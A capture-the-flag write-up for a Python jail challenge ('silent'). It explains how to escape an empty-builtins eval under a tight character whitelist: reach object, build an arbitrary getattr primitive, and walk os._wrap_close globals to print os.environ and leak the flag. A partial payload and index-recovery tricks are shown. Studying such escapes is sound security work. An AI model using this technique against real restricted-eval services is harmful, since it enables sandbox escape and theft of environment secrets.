silent
pyjail — reach `object` without `__class__`, then build an arbitrary-getattr primitive without spelling a single name
NNS{Your_loudN3s5_is_d3aF3nin6} Flag: NNS{Your_loudN3s5_is_d3aF3nin6}
Author: Zukane
The challenge
main.py:
import ast
wl = "),dw.r_[silent]g=c:f("
data = input("> ")
print(data)
tree = ast.parse(data, mode="eval")
assert isinstance(tree.body, ast.List), "input must be a list"
elements = [ast.get_source_segment(data, e) for e in tree.body.elts]
assert all(len(e)<=13 for e in elements), "shh, dont speak so much"
assert all(all(e in wl for e in element) for element in elements)
eval(data, {"__builtins__":{}})
Run under python:3.14.7-slim-trixie, served by socat. The flag lives in
/flag-<random>.txt and also in the FLAG env var.
The filter
- The input must be a list display
[...]. - Each top-level element’s source segment (via
ast.get_source_segment) must be ≤13 chars and use only the whitelist. - Then the whole thing is
eval’d with empty builtins.
The whitelist ),dw.r_[silent]g=c:f( yields letters c d e f g i l n r s t w and symbols
( ) , . _ [ ] = :. There are no quotes, no digits, and — crucially — no a o b m p u,
so __class__, __subclasses__, __globals__, __mro__, __builtins__, getattr,
__getattribute__ are all unspellable.
Two dead-ends (and why the filter is not the bug)
ast.get_source_segment is airtight here: every character that executes is inside some
top-level element’s segment, so it’s fully checked. The only thing dropped from a segment is
grouping parentheses, which can carry no payload. So this is not a filter bypass — it is
a reachability problem inside the whitelist.
The escape
1. Reaching object without __class__
__new__, __self__, __len__ are all spellable. A method-wrapper does not define its own
__new__, so attribute lookup walks the MRO to object.__dict__['__new__'], a builtin whose
__self__ is object itself:
[].__len__.__new__.__self__ → <class 'object'>
2. An arbitrary getattr primitive — without spelling any name
mappingproxy subscription is allowed, and the key strings don’t need to be typed as
literals — they are pulled out of dir()/list() results by index:
r = object.__dict__["__getattribute__"].__get__ # __get__ is spellable
getattr(x, name) == r(x)(name)
object.__dict__["__getattribute__"] is a slot wrapper; binding it with .__get__(x) gives a
callable object.__getattribute__ for any x, so with a key string (fetched by index) we can
read any attribute — the whitelist is now irrelevant.
3. Chain to the flag
object → type = getattr(object, "__class__")
→ subclasses = getattr(object, "__subclasses__")()
→ os._wrap_close # a class defined in the os module
→ getattr(cls, "__init__") # a real Python function
→ getattr(func, "__globals__") # == os module globals
→ globals["__builtins__"]["print"]
→ print(globals["environ"]) # dumps FLAG=...
print writes to process.stdout, which socat wires straight to our socket, so the flag comes
back over the connection. (Any un-caught exception goes to stderr, which socat does not
forward — so a wrong step fails silently. Fitting name.)
Packaging into ≤13-char whitelist elements
Every step is bound to a short walrus variable (names use only c d e f g i l n r s t w) and
chained across list elements:
[(l:=[]),(le:=l.__len__),(w:=le.__new__),(t:=w.__self__), # object
(d:=t.__dict__),(cf:=l.__dir__),(c:=cf()), # dir() keys
(e:=[]),(s:=e.__len__),(f:=s()), # integer machine
(e.insert(f,f)), ... ,(cg:=s()), ... # build indices by length
(gs:=d[c[cg]]),(r:=gs.__get__), ... # getattr primitive
... ,(ct:=i[gc]),(ct(en))] # print(os.environ)
Two practical tricks:
- No integer literals. Grow one list with
e.insert(f,f)(13 chars) and read the length withe.__len__(), snapshotting each index value as the counter passes it. - 13-char budget. Bind every attribute to a 1–2-char variable first, then use it — e.g.
(gc:=gk[nf])then(bb:=gg[gc])instead ofgg[gk[nf]].
The final payload is ~245 elements / ~3.7 KB, generated by a script.
Build-specific indices — the last hurdle
The hard-coded indices (os._wrap_close’s position in object.__subclasses__(), the key
positions in the os globals / builtins dicts) are reproducible only against the exact runtime.
The generator therefore runs inside python:3.14.7-slim-trixie — the pinned image (this is why the
version pin exists, not a t-string hint).
Even then the remote subclass list was off by one (os._wrap_close at 166, not 167). Since a
wrong index fails silently, a diagnostic payload was sent first: reach builtins via a
bootstrap _frozen_importlib class (index 124, stable across builds) and print(object.__subclasses__()).
Reading the remote’s own list gave the correct index; regenerating with iWC=166 returned the flag.
Takeaways
- Empty-builtins + a tiny charset is not automatically safe.
objectis reachable via[].__len__.__new__.__self__, andobject.__dict__['__getattribute__'].__get__is a spelling-free arbitrary getattr — every subsequent name comes fromdir()by index. ast.get_source_segmentper-element filtering is sound; the intended vector is reachability, not a parser trick.- When
stderrisn’t forwarded, wrong offsets fail silently — dump the target’s own state (subclass list) to recover build-specific indices instead of guessing.